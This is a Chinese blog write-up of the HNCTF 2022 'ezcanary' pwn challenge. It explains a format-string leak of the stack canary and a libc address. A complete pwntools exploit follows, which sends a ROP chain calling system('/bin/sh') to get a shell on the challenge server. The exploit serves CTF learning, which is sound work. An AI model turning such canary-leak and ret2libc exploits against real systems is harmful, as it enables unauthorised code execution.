LOADING

加载过慢请开启缓存 浏览器默认开启

[HNCTF 2022 WEEK4] ezcanary 复现

2023/9/22 CTF PWN HNCTF

[HNCTF 2022 WEEK4] ezcanary 复现

ezcanary

先查一下保护机制,打开 canary 和 NX,这个时候需要注意可以泄露 canary

IDA 一下,看看伪代码,思路很清晰了,printf 造成了格式字符串漏洞和第二个 read 造成的溢出

接下来就是想办法溢出 canary,并且泄露 libc,先运行一下程序,看看偏移吧(很容易发现偏移是六),接下来就是 gdb 调试,看看 canary 位置了,把断点打在 printf

显然 canary 就是第 51 个参数(这个你不会看不出来吧,评论区见),这样就可以得到 canary 的地址了,接下来就剩下泄露 libc 了,注意下面两个参数就是可以泄露的 libc 地址 0x7ffff7db0d90(注意不同代码的颜色),再从 vmmap 找到 libc,然后就可以算到偏移了,最后就可以得到 libc 的基址了(太裤辣)

后面就是正常的溢出了

exp :

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
# p = process('./pwn')
p = remote('node5.anna.nssctf.cn',28441)
elf = ELF('./111')
libc = ELF('./libc.so.6')

ret_addr = 0x40101a
rdi_addr = 0x401323

payload = b'%51$p.%53$p'
p.sendafter(b'name:\n', payload)

canary = int(p.recv(18), 16)
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x29d90

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = b'a' * (0x110 - 8) + p64(canary) + p64(0) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(system)

p.send(payload)
p.interactive()
⬅ 上一篇
NewStarCTF 2023 [WEEK 1] PWN
2023-10-01  |  | PWN, NewStarCTF
下一篇 ➡
[HNCTF 2022 WEEK3] smash 复现
2023-09-07  |  | PWN, HNCTF
0%
Rope Head